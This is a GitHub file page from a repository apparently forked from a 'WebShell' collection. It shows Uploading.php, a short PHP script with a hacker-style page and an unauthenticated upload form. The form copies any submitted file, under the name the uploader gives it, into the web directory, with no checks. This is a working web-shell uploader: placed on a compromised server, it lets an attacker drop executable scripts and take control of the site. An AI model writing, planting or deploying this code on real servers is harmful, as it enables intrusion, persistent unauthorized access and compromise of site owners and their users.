forked from tutorial0/WebShell
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathUploading.php
More file actions
40 lines (39 loc) · 856 Bytes
/
Uploading.php
File metadata and controls
40 lines (39 loc) · 856 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<style type="text/css">
body {
color: #33ff33;
background-color: black;
font-weight: inherit;
}
h1,h2{
background-color: #4D4D4D;
color: #000000;
text-align: center;
}
h3,h4,h5{
color: silver;
text-align: center;
}
</style>
<b><br>
<h1> Uploading </h1>
<br><br>
<center>
<font color:"blue">
<span style="font-family: monospace;">
<span style="color: rgb(255, 255, 255);">
<br><br>
<font color="black"></font>
<br></b> <?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50">
<input name="_upl" type="submit" id="_upl" value="Upload">
</form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']))
{
echo '<b>Archivo subido!</b><br><br>';
}
else
{
echo '<b>Upload Fail!</b><br><br></font>';
}
}
?>